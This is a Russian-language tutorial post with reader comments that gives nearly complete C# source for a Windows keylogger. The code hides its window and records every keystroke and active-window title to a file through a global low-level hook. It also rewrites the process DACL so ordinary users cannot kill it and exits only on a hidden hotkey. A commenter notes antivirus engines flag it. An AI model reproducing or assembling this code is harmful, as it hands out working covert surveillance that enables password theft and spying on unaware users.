Здесь будет рассмотрено создание Keylogger на базе .Net C# с вызовами системных функций. Сами системные функции в кратце описываются, но лучше прочитать официальную документацию от Microsoft. Ссылка на репозиторий с рабочей сборкой приведена в конце, так же как и ссылка на доккументацию.

Что будет реализовано:

  • Логирование ввода с клавиатуры.
  • Логирование активного окна.
  • Блокировка процесса от пользователя без привилегий администратора.
  • Остановка процесса по сочетанию клавиш.

Для написания понадобится C#, знание Win API и DACL Windows.

Итак, разберем несколько типов системных кодов, которые будут необходимы, каждый тип будет храниться в отдельном Enum.

Типы хуков (hooks).

public enum HookTypes
{
	WH_CALLWNDPROC = 4,
	WH_CALLWNDPROCRET = 12,
	WH_KEYBOARD = 2,
	WH_KEYBOARD_LL = 13,
	WH_MOUSE = 7,
	WH_MOUSE_LL = 14,
	WH_JOURNALRECORD = 0,
	WH_JOURNALPLAYBACK = 1,
	WH_FOREGROUNDIDLE = 11,
	WH_SYSMSGFILTER = 6,
	WH_GETMESSAGE = 3,
	WH_CBT = 5,
	WH_HARDWARE = 8,
	WH_DEBUG = 9,
	WH_SHELL = 10,
}

Чтобы отлавливать все события, связанные с клавиатурой, нужен тип WH_KEYBOARD_LL. Все остальные типы хуков требуют реализации отдельных DLL, кроме еще одного хука WH_MOUSE_LL — события связанные с мышью.

Типы событий связанные с клавиатурой, нажатие и отпускание клавиши.

public enum KeyboardEventTypes
{
	WM_KEYDOWN = 0x0100,
	WM_KEYUP = 0x0101,
}

Будем записывать вводимые символы по отпусканию клавиши — WM_KEYUP.

Отдельно типы для отлавливания перехода пользователя с одного окна приложения на другое.

public class WinEventTypes
{
	public const uint WINEVENT_OUTOFCONTEXT = 0;
	public const uint EVENT_SYSTEM_FOREGROUND = 3;
}

Enum для того чтобы задействовать сочетание клавиш на отключение программы.

	
public enum CombineKeys
{
	MOD_ALT = 0x1,
	MOD_CONTROL = 0x2,
	MOD_SHIFT = 0x4,
	MOD_WIN = 0x8,
	WM_HOTKEY = 0x0312,
}

Для того чтобы реализовать все пункты сначала создаем Форму и прячем ее от пользователя. Достаточно переопределить базовый метод SetVisibleCore.

protected override void SetVisibleCore(bool value)
{
	base.SetVisibleCore(false);
}

Форма будет запускаться при старте программы.

Application.Run(HiddenForm);

Есть форма и теперь нужно добавить главную функцию — перехват ввода с клавиатуры. Используем Win API метод SetWindowsHookEx, в качестве параметров будут передаваться:

  • Тип хука — WH_KEYBOARD_LL.
  • Функция обратного вызова, т.е. тот метод который должен обрабатывать все события связанные с клавиатурой.
  • Идентификатор текущего модуля.
  • Идентификатор потока — 0. Ноль чтобы хук ассоциировался со всеми потоками.

internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack)
{
	using (Process currentProcess = Process.GetCurrentProcess())
	using (ProcessModule currentModule = currentProcess.MainModule)
	{			
		return SetWindowsHookEx((int)typeOfHook, callBack,
			 GetModuleHandle(currentModule.ModuleName), 0);
	}
}

Сам метод который обрабатывает хук. В нем несколько параметров, nCode — для того чтобы понимать нужно ли обрабатывать текущее событие или сразу же передать дальше,
wParam — тип события (нажатие или отпускание клавиши), lParam — символ который сейчас нажат. По сути lParam это массив байтов, так что в нем хранится дополнительная информация, например, количество символов если пользователь удерживает клавишу а машина, на которой происходит обработка, медленная.

internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
	if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP)
	{
		int vkCode = Marshal.ReadInt32(lParam);
		SetKeysState();
		var saveText = GetSymbol((uint)vkCode);
		File.AppendAllText(_fileName, saveText);
	}
	return CallNextHookEx(HookId, nCode, wParam, lParam);
}

Данная реализация записывает символ только после того как пользователь отпустил клавишу. Чтобы записать количество символов, нужно имплементировать случай с типом WM_KEYDOWN.

SetKeysState метод служит для того чтобы знать в каком состояние находятся дополнительные клавиши, например клавиши влияющие на регистр.

private static void SetKeysState()
{
	_capsLock = GetKeyState((int)Keys.CapsLock) != 0;
	_numLock = GetKeyState((int)Keys.NumLock) != 0;
	_scrollLock = GetKeyState((int)Keys.Scroll) != 0;
	_shift = GetKeyState((int)Keys.ShiftKey) != 0;
}

GetKeyState — это еще один метод Win API, через который можно узнать состояние по коду клавиши.

private static string GetSymbol(uint vkCode)
{
	var buff = new StringBuilder(maxChars);
	var keyboardState = new byte[maxChars];
	var keyboard = GetKeyboardLayout(
					GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero));
	ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard);
	var buffSymbol = buff.ToString();
	var symbol = buffSymbol.Equals("\r") 
		? Environment.NewLine 
		: buffSymbol;
	if (_capsLock ^ _shift)
		symbol = symbol.ToUpperInvariant();
	return symbol;
}

В методе GetSymbol, сначала запрашивается код раскладки клавиатуры GetKeyboardLayout текущего окна, и затем ToUnicodeEx чтобы получить символ, оба Win API методы. Если задействованы клавиши влияющие на регистр то символ необходимо привести к верхнему регистру.

Этого будет достаточно для логирования ввода с клавиатуры. Но чтобы записывать текущее активное окно нужно использовать другой хук.

internal IntPtr SetWinHook(WinEventProc callBack)
{
	using (Process currentProcess = Process.GetCurrentProcess())
	using (ProcessModule currentModule = currentProcess.MainModule)
	{
		return SetWinEventHook(
			WinEventTypes.EVENT_SYSTEM_FOREGROUND, 
			WinEventTypes.EVENT_SYSTEM_FOREGROUND, 
			GetModuleHandle(currentModule.ModuleName), 
			callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT);
	}			
}

Тип EVENT_SYSTEM_FOREGROUND нужен для того чтобы отслеживать изменение активного окна. А WINEVENT_OUTOFCONTEXT указывает на то что callBack метод находится в нашем приложении.

Метод передаваемый в цепочку хуков содержит множество параметров, которые могут быть полезны при более детальной реализации, для этого случая достаточно узнать активное окно и его заголовок.

internal static void ActiveWindowsHook(
			IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
{
		File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}");
}

То есть каждое событие смены окна будет записываться. И в GetActiveWindowTitle достаточно использовать пару Win API методов GetForegroundWindow — узнать идентификатор текущего активного окна, после запросить заголовок с помощью GetWindowText.

private static string GetActiveWindowTitle()
{
	var buff = new StringBuilder(maxChars);
	var handle = GetForegroundWindow();

	if (GetWindowText(handle, buff, maxChars) > 0)
	{
		return buff.ToString();
	}
	return null;
}

До этого момента все вызовы системных функций были взяты из библиотеки User32 и Kernel32. На следующем шаге понадобится библиотека advapi32.

Третий шаг заключается в том чтобы не дать обычному пользователя завершить процесс записи ввода с клавиатуры. Сначала необходимо получить дескриптор данного процесса а потом его изменить, добавив запись в DACL.

internal void BlockForNotAdminUsers()
{
	var hProcess = Process.GetCurrentProcess().Handle;
	var securityDescriptor = GetProcessSecurityDescriptor(hProcess);
	var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid;

	securityDescriptor.DiscretionaryAcl.InsertAce(
			0,
			new CommonAce(
				AceFlags.None,
				AceQualifier.AccessDenied,
				(int)ProcessAccessRights.PROCESS_ALL_ACCESS,
				new SecurityIdentifier(WellKnownSidType.WorldSid, sid),
				false,
				null));

	SetProcessSecurityDescriptor(hProcess, securityDescriptor);
}

Получение дескриптора процесса происходит через GetKernelObjectSecurity, метод вызывается два раза, сначала получаем длину дескриптора, а вторым вызовом получаем непосредственно дескриптор процесса.

private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
{
	var psd = new byte[0];
	GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded);
	if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
		throw new Win32Exception();
	if (!GetKernelObjectSecurity(
			processHandle,
			DACL_SECURITY_INFORMATION,
			psd = new byte[bufSizeNeeded],
			bufSizeNeeded,
			out bufSizeNeeded))
		throw new Win32Exception();
	return new RawSecurityDescriptor(psd, 0);
}

После изменения дескриптора нужно внести эту информацию в текущий процесс. Достаточно передать идентификатор и дескриптор процесса в системный метод SetKernelObjectSecurity.

private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor)
{			
	var rawsd = new byte[securityDescriptor.BinaryLength];
	securityDescriptor.GetBinaryForm(rawsd, 0);
	if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
		throw new Win32Exception();
}

Завершающий этап — остановка процесса по сочетанию клавиш.

internal static int SetHotKey(Keys key, IntPtr handle)
{
	int modifiers = 0;
	if ((key & Keys.Alt) == Keys.Alt)
		modifiers |= (int)CombineKeys.MOD_ALT;
	if ((key & Keys.Control) == Keys.Control)
		modifiers |= (int)CombineKeys.MOD_CONTROL;
	if ((key & Keys.Shift) == Keys.Shift)
		modifiers |= (int)CombineKeys.MOD_SHIFT;
	Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt;
	var keyId = key.GetHashCode();
	RegisterHotKey(handle, keyId, modifiers, (int)keys);
	return keyId;			
}

Здесь key это сочетание клавиш, а handle идентификатор спрятанной формы. Чтобы распознать сочетание клавиш на форме создается keyId, по которому можно проверять срабатывание комбинации клавиш. И все это записываем через Win API метод RegisterHotKey.

И чтобы наконец остановить процесс переопределяем метод WndProc в форме.

protected override void WndProc(ref Message m)
{
	if (m.Msg == (int)CombineKeys.WM_HOTKEY)
	{
		if ((int)m.WParam == KeyId)
		{
			UnregisterHotKey(Handle, KeyId);
			Application.Exit();
		}
	}
	base.WndProc(ref m);
}

Полезные ссылки:

Ссылка на репозиторий
Ссылка на документацию MS.

Комментарии (8)


  1. skovpen
    01.01.2020 21:16

    VirusTotal говорит, что 22 антивируса убьют этот проект на подходе.


  1. x893
    01.01.2020 22:01

    Да и фиг с ним с VirusTotal. Проект полезный.


  1. a-tk
    01.01.2020 22:20
    +2

    Интересно, а зачем здесь вообще «тонкая» обертка на C# к Win32API? Код на Си явно лаконичнее вышел бы.


    1. withkittens
      01.01.2020 23:34

      Насчёт «тонкой» обёртки: она предустановлена на всех имеющих значимость версиях винды.


      1. a-tk
        02.01.2020 10:09

        Я про выдёргивание из Windows.h всех констант, которые были перенесены в enum-ы.


    1. sami777
      01.01.2020 23:42

      Возможно, автор под Си не пишет.


      1. a-tk
        02.01.2020 10:10
        +1

        Вот и повод тогда.


    1. DistortNeo
      02.01.2020 02:28
      +2

      А вот не факт.
      Во-первых, на C пришлось бы писать цикл сообщений.
      А во-вторых, однострочники типа


      WindowsIdentity.GetCurrent().User.AccountDomainSid
      File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}");

      развернулись бы в кучу сишного кода.